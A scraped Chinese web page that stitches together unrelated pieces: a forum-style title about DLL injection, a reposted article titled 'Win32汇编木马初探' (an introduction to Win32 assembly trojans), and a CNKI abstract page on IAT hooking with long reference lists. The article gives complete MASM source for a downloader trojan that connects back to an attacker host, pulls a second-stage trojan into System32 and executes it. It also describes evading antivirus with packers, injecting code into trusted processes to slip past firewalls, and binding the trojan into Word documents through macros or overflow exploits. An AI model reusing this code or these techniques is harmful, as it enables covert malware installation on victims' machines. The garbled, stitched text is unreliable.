为什么用win32汇编执行远程dll注入后加速器崩溃调用游戏里call游戏进程会崩溃

Win32汇编木马初探
现在很多单位都采用单独的计算机来存放重要的涉密文件。然而如果涉密文件被盗,不仅会带来严重的经济损失,窃密者还可能逍遥法外。为了解决这个问题,我们需要对涉密文件采取某些措施:如绑定木马,在窃密者在得手后木马能自动执行,并记录下窃密者的相关信息,最后及时通知监控端。上面所采取的措施,我们称为网络跟踪技术。本文所要讲述的汇编木马,就经常应用在跟踪技术中。举个例子:在一涉密.Doc文件中绑定一个.Exe木马。如果木马功能复杂,并且是在VC等编译环境下生成,那它的体积至少有几十K,再加上.Doc文件自身的数据量就非常可观了。一个大的.Doc文件会引起窃密者的怀疑,我们的跟踪也就达不到效果。因此,我们势必要设法在不影响最终目的的前提下,尽量减小木马文件的体积。办法可能不止一个,而我采用的是编写汇编木马的方式。当然,研究的平台都是在Windows2000以上的中。Win32汇编木马设计思路完整的汇编木马又称为“小马”,原因有两个:一是它体积小,只有几K;二是它的功能仅仅是反向连接攻击端,从攻击端下载并执行真正的功能复杂的木马(大马)。为了便于大家理解,本文将不关心“大马”的功能实现,重点是提出汇编木马的设计思路,并尽量从基础的角度进行讨论。汇编木马的设计围绕4个重要的技术指标:体积小、防杀、突破防火墙与进程隐藏、拖动并执行“大马”,下面逐一介绍:1、 体积小。常规木马大多用高级语言编写,在集成环境下编译生成。虽然实现方便,但是生成的.Exe文件体积较大。对于汇编木马,我们采用Win32汇编来实现,使得.Exe文件体积控制在几K。2、 防杀。为了避免被诺顿、卡巴斯基、江民等主流杀毒软件所识别,木马文件一定要进行可靠的加壳处理。根据经验,一般我们选用最新的ASProtect,加壳后的.Exe文件生存能力一般比较强。如果需要,在必要的时候还可以手动修改文件特征码。3、 突破防火墙与进程隐藏。木马文件执行的时候需要与攻击端通信,必须访问网络。但不仅第三方的个人防火墙会阻拦你,现在Windows XP SP2也自带了软件防火墙。当“不可信任”的应用程序访问网络时,防火墙会报警。我的解决方法是:将网络通信部分的代码作为远程线程注入到防火墙“可信任”的进程中。这个“可信任”的进程一般是系统进程,也可以是IE。代码的注入,同时起到了进程隐藏的作用。4、 拖动并执行“大马”。这是汇编木马的核心功能,也是本文要重点举例讨论的内容。最终的监控、跟踪功能是在“大马”中实现的,它可以通过高级语言来实现,体积大小并没有什么限制。Win32汇编基础为了进行下面的讨论,Win32汇编是大家必须掌握的基础知识。Win32汇编生成的程序也是运行在Windows保护模式下的。我们可以通过下面几个方面去了解:1、Win32ASM编译器Win32ASM编译器最常用的有两种:Borland公司的Tasm5.0和Microsoft的Masm6.11及以上版本,两种编译器各有自己的优缺点,本文选用Microsoft的Masm6.11进行岩石。2、环境设置为了直接调用Masm6.11提供工具和库文件,我在“我的电脑”属性→“高级”→“环境变量”→“用户变量”里分别设置(以本机为例):Include = F:\攻防研究\编程相关\汇编\masm611\Includelib = F:\攻防研究\编程相关\汇编\masm611\libpath = F:\攻防研究\编程相关\汇编\masm611\bin3、编译和连接汇编文件的编译:Ml /c /coff 文件名.asm,生成.obj文件资源文件的编译:Rc文件名.rc,生成.res文件连接:Link /SUBSYSTEM:WINDOWS [其他连接选项]OBJ文件名.obj[Res文件名.res]4、Include和Includelib语句的使用Include 语句包含了一些系统的定义和API函数说明,其中所有的Windows 数据结构定义和常量定义包含在“windows.inc”中,而很多API函数的说明包含在其它.inc中。例如:ExitProcess函数包含在Kernel32.dll中,我们就要在程序中包括“Include kernel32.inc”和“Includelib kernel32.lib”语句,否则在编译时会出现API 函数未定义的错误;而MessageBox在user32.dll中,那么我们就要在程序中包括“Include user32.inc”和“Includelib user32.lib”语句。5、数据段、代码段和注释未初始化的数据定义在.data?段中,已初始化的数据定义在.data段中,而代码则位于.code段中。此外,汇编代码注释由;来指引。6、命令行参数的提取。如果生成的.Exe文件是带命令行参数的,那么我们可以通过API函数GetCommandLine来获取。下面用一个简单的例子来对上面的基础知识走一遍,大家就更清楚了。.386 ;声明在80386平台下.model flat, 平坦模式,函数调用约定为stdcalloption casemap :none Include windows.incInclude kernel32.incInclude user32.incIncludelib kernel32.libIncludelib user32.lib. 放初始化数据szCaption db '命令行参数测试',0.代码段start: ;代码的开始invoke GetCommandL 函数调用语句,取代call指令,省去“push 参数 ”操作invoke MessageBox,NULL,eax,addr szCaption,MB_OKinvoke ExitProcess,NULLend start文件存为test.asm。在命令行下编译、连接,输入Exe文件名+参数。小知识:如果要学习更多的汇编知识,可以参见罗云彬编等写的《Windows环境下32位汇编语言程序设计》,在网上也能下载到电子教程。简单的Win32汇编木马模式实现有了上面的Wn32汇编基础,我们现在回到正题――汇编木马的实现。由于初次介绍,这里我将汇编木马的模型简化,主要实现下载并执行“大马”的功能,同时结合攻击端代码进行演示,算是为以后讨论更为复杂的汇编木马做为铺垫。汇编木马主要代码如下:;定义未初始化数据,就像高级语言中定义变量一样.data?hInstance dd ?sysdir db 128 dup (?)mainsock dd ?wsainfo WSADATA&&mainsin sockaddr_in&&clientinfo sockaddr_in&&;dwRever_Ip DWORD ?;可通过命令行参数指定,本文在本机演示忽略recvbuff2 dd ?recvbuff db 1024 dup (?)sendbuff db 1024 dup (?)location db 256 dup (?)bytesdone dd ?buffwrite db 256 dup (?)uplfile dd ?; 文件句柄;已初始化的数据.dataszFileName db 'dg.Exe',0dirfmt db '%s\%s', 0mainport db '80', 0szOK db 'ok!', 0.codestart: ;初始化winsockinvoke WSAStartup, 101h, addr wsainfocmp eax, 0;PrintError jnz endl;创建套接字invoke socket, AF_INET, SOCK_STREAM, IPPROTO_TCPcmp eax, INVALID_SOCKET;PrintError 出错就结束mov mainsock, eaxmov mainsin.sin_family, AF_INET;反连端口,80、110、25均可以mov eax, 80 push eaxcall htonsmov mainsin.sin_port, ax;mov eax, dwRever_I攻击端IP,可根据需要自己改写,也可通过其它方式传递mov eax, 100007 这里使用127.0.0.1mov mainsin.sin_addr, eax;反连攻击端invoke connect, mainsock, addr mainsin, sizeof mainsin;PrintErrorcmp eax, SOCKET_ERRORjz endloop;下面接收“大马”;先接收攻击端发送的“大马”文件大小invoke RtlZeroMemory, addr recvbuff2, sizeof recvbuff2invoke recv, mainsock, addr recvbuff2, sizeof recvbuff2, 0cmp eax, SOCKET_ERRORjz endloopcmp eax, 0jz endloop;返回确认信息invoke send, mainsock, addr szOK, sizeof szOK, 0接收文件,并放在系统目录下upload:;获取系统目录 invoke GetSystemDirectory, addr sysdir, sizeof sysdir;构造路径sprintf(location, "%s\%s", sysdir, szFileName)invoke wsprintf, addr location, addr dirfmt, addr sysdir, addr szFileName;创建文件invoke CreateFile, addr location, GENERIC_WRITE, FILE_SHARE_READ or\FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL;文件句柄mov uplfile, eax;已接收字节数mov bytesdone, 0;循环接收uploadloop: invoke RtlZeroMemory, addr recvbuff, sizeof recvbuffinvoke recv, mainsock, addr recvbuff, sizeof recvbuff, 0cmp eax, SOCKET_ERROR jz upldonecmp eax, 0jz upldonemov edx, eaxadd bytesdone, eax;向文件中写内容invoke WriteFile, uplfile, addr recvbuff, edx, addr buffwrite, NULLinvoke send, mainsock, addr szOK, sizeof szOK, 0 mov edx, recvbuff2cmp bytesdone, edxjnae uploadloopupldone:invoke CloseHandle, uplfile ;“大马”命令行参数可根据需要指定invoke ShellExecute, NULL, NULL, addr location, NULL, NULL, SW_SHOWNORMALendloop:invoke closesocket, mainsockendl:end start按照前面的方法编译、生成可执行程序down_exec.exe,这就是简单的汇编木马。大家可以看到,down_exec.Exe体积仅2.5k。攻击端的实现很简单,就是监听80(110、25等具有隐蔽性的端口都可以)端口,等待汇编木马执行后连接过来,然后传送并执行“大马”。具体代码参见光盘中的Server.cpp,此处不再赘述。至于“大马”,这里我用了一个个简单的dg.exe,作用是在D盘根目录下生成1.txt,里面有一串字符便于检验。下面我们进行测试:先生成攻击端Server.Exe、dg.Exe放在tools目录中,将tools目录、Server.Exe和汇编木马down_exec.Exe一同放到“演示工具目录中”, 双击Server.Exe和down_exec.Exe,大家可以检查D盘下是否生成了1.txt,同时看看系统的System32目录下是否有一个dg.Exe。木马文件绑定技术最后,我们来讨论一下木马文件的绑定。我们的汇编木马不仅可以绑定在.Doc、.pdf等文件中起到保护作用,还可以绑定在.png、.jpg、.wmf等图片文件中制作成网页木马。文件绑定是比较容易实现的,但是要在母体文件打开时自动生成并执行木马文件却有很多限制,相信做过这方面工作的朋友都有所体会。绑定文件的方法视文件母体的不同而不同,这里以在.Doc文件中绑定.Exe文件为例。向.Doc文件中绑定.Exe文件后,要在打开该.Doc文件的时候自动生成并执行该.Exe文件方法大致有两个:1、 利用Word提供的宏机制举个例子:要将1.Exe绑定到2.Doc中,通过命令“copy /b 2.Doc+1.Exe new2.Doc”命令即可实现。要从new2.Doc中提取出1.Exe,则必须用Word宏机制提供的VBA编程来实现。这种实现方式容易受到Word宏机制安全设置的限制,详细介绍大家可以参考我在06年第2期写的《Word 溢出漏洞的分析和利用》。2、利用Word溢出漏洞。这种方式虽然实现复杂,但效果却好于前一种。利用Word的溢出漏洞,我就可以构造的特定Doc文件,当窃密者打开该文件时由于Word发生缓冲区溢出而执行任意代码。具体思路如下:我们的特定.Doc文件为abc.Doc,物理上由3部分构成。 开头部分是溢出Doc模板,它可导致Word发生溢出。溢出之后执行其中的ShellCode,判断是否为合法用户(通过硬件信息判断),如果是则提取并生成真正涉密的Doc,再调用Winword.Exe打开该文件;如果不是合法用户,则不生成真正涉密的Doc,而直接生成并执行第3部分→Exe文件。对于本文而言,这里的Exe文件就是我们的汇编木马。
【声明】:黑吧安全网()登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱,我们会在最短的时间内进行处理。
上一篇:【】【】在远程进程中注入DLL钩挂IAT的方法--《计算机与现代化》2014年04期
在远程进程中注入DLL钩挂IAT的方法
【摘要】:为了安装自定义的函数钩子,可通过钩挂PE文件的导入地址表(IAT)来实现。介绍利用导入表钩挂IAT的2种方法:直接钩挂法和间接钩挂法。用Win32汇编实现2种方法的导入地址表钩子,将DLL注入远程进程中,对钩子模块钩挂IAT的效果进行了测试,结果表明:2种方法都能可靠钩挂IAT。并对钩挂IAT中的一些问题进行了讨论。
【作者单位】:
【关键词】:
【分类号】:TP311.1【正文快照】:
0引言在Windows系统的编程应用中,有时需要对某些API函数进行拦截,在拦截函数里执行自己的代码功能后,再返回原函数执行或者改变原函数操作行为等。拦截简称为钩子,可分为内核级和用户级钩子,内核级钩子有SYSENTER钩子、SSDT钩子、内联钩子、IRP钩子、LADDR钩子、IDT钩子、IOA
欢迎:、、)
支持CAJ、PDF文件格式,仅支持PDF格式
【参考文献】
中国期刊全文数据库
陶(延页),孙乐昌,汪永益;[J];安徽电子信息职业技术学院学报;2004年Z1期
黄顶源;李陶深;严毅;曾亮;黄国石;蔡世平;;[J];广西物理;2006年04期
程彦;杨建召;;[J];长春工业大学学报(自然科学版);2006年04期
舒敬荣;朱安国;齐善明;;[J];计算机应用与软件;2009年05期
苏雪丽;袁丁;;[J];计算机工程与设计;2011年07期
邓乐;李晓勇;;[J];信息安全与通信保密;2007年02期
王泰格;邵玉如;杨翌;;[J];信息与电脑(理论版);2012年07期
【共引文献】
中国期刊全文数据库
赵晓娟;;[J];电脑知识与技术;2008年35期
严琳;;[J];硅谷;2012年11期
李统林;刘天时;;[J];淮阴工学院学报;2008年03期
孟辰;;[J];计算机科学;2011年S1期
王佩红;赵尔敦;张瑜;;[J];计算机与数字工程;2010年03期
钟明全;唐彰国;李焕洲;张健;;[J];计算机应用研究;2011年10期
罗叶飞;刘建勋;;[J];计算机应用与软件;2011年09期
梁亚雄;魏维;罗凯;;[J];计算机与现代化;2012年03期
高晓;;[J];长春工业大学学报(自然科学版);2013年06期
张伟锋;张智辉;;[J];软件;2011年09期
中国重要会议论文全文数据库
陈云超;马兆丰;;[A];2011年通信与信息技术新进展——第八届中国通信学会学术年会论文集[C];2011年
中国博士学位论文全文数据库
李良宇;[D];吉林大学;2009年
中国硕士学位论文全文数据库
游智翔;[D];浙江大学;2010年
周峰;[D];广东工业大学;2011年
毕海;[D];河北工程大学;2011年
蔡永建;[D];电子科技大学;2011年
王亚;[D];电子科技大学;2011年
邵向阳;[D];郑州大学;2011年
李春;[D];电子科技大学;2011年
吴昆;[D];湖南大学;2009年
王超;[D];解放军信息工程大学;2009年
刘菲;[D];东北大学;2009年
【二级参考文献】
中国期刊全文数据库
于扬;杨泽红;贾培发;;[J];计算机工程;2007年24期
郭天杰,齐玉东;[J];计算机应用研究;2001年09期
李占红,王世卿,石磊;[J];计算机应用与软件;2004年06期
舒敬荣;朱安国;齐善明;;[J];计算机应用与软件;2009年05期
苏雪丽;袁丁;;[J];计算机工程与设计;2011年07期
中国硕士学位论文全文数据库
葛长涛;[D];解放军信息工程大学;2010年
【相似文献】
中国期刊全文数据库
金花;朱亚涛;苗冬;张玉新;;[J];福建电脑;2007年04期
徐大宏;[J];计算机系统应用;2000年10期
齐玉东;;[J];电脑编程技巧与维护;2006年02期
陶文金;敬茂华;;[J];电脑编程技巧与维护;2009年16期
胡恩勇;;[J];马钢职工大学学报;2002年01期
庄继晖;王宇明;;[J];微处理机;2007年01期
李海;[J];中国计算机用户;1996年13期
赵雷;[J];微计算机应用;2002年03期
刘霞林;;[J];现代电子技术;2007年13期
王元西,庞国仲;[J];微计算机信息;2000年02期
中国重要会议论文全文数据库
吴红英;嘎日迪;赵小兵;韩东妹;;[A];第三届学生计算语言学研讨会论文集[C];2006年
杨峰;梁生吉;贾春福;;[A];2006北京地区高校研究生学术交流会——通信与信息技术会议论文集(下)[C];2006年
梁勇;阳国贵;;[A];2009通信理论与技术新发展——第十四届全国青年通信学术会议论文集[C];2009年
邓明强;章勇;;[A];2010通信理论与技术新发展——第十五届全国青年通信学术会议论文集(下册)[C];2010年
阿布力米提·阿不都热依木;吐尔根·依布拉音;;[A];第二届全国学生计算语言学研讨会论文集[C];2004年
白文涛;刘正捷;宁涛;窦赫男;;[A];第一届建立和谐人机环境联合学术会议(HHME2005)论文集[C];2005年
李哲;徐惠民;;[A];2006北京地区高校研究生学术交流会——通信与信息技术会议论文集(下)[C];2006年
魏润强;龚晓宏;;[A];先进制造技术论坛暨第二届制造业自动化与信息化技术交流会论文集[C];2003年
彭喜元;杨智明;彭宇;;[A];2004全国测控、计量与仪器仪表学术年会论文集(上册)[C];2004年
马海涛;郝忠孝;;[A];第二十五届中国数据库学术会议论文集(二)[C];2008年
中国重要报纸全文数据库
尹竹;[N];中国电脑教育报;2003年
南京邮电学院
李建忠;[N];计算机世界;2002年
陈跃氢;[N];电脑报;2001年
刘晓光;[N];电脑报;2007年
陈秀峰;[N];中国电脑教育报;2004年
陶晓霞;[N];电脑报;2002年
王文祥;[N];中国电脑教育报;2004年
中国博士学位论文全文数据库
王全民;[D];天津大学;2012年
中国硕士学位论文全文数据库
唐树刚;[D];天津大学;2005年
刘智涛;[D];华东师范大学;2008年
陈刚;[D];湖南大学;2008年
郭小晋;[D];南京航空航天大学;2006年
徐晓静;[D];湖南大学;2007年
李云;[D];电子科技大学;2006年
张岩;[D];北京邮电大学;2007年
魏明;[D];华中科技大学;2007年
张中华;[D];北方工业大学;2009年
高艳军;[D];国防科学技术大学;2008年
&快捷付款方式
&订购知网充值卡
400-819-9993
《中国学术期刊(光盘版)》电子杂志社有限公司
同方知网数字出版技术股份有限公司
地址:北京清华大学 84-48信箱 大众知识服务
出版物经营许可证 新出发京批字第直0595号
订购热线:400-819-82499
服务热线:010--
在线咨询:
传真:010-
京公网安备75号

我要回帖

更多关于 wpe注入后加速器崩溃 的文章

 

随机推荐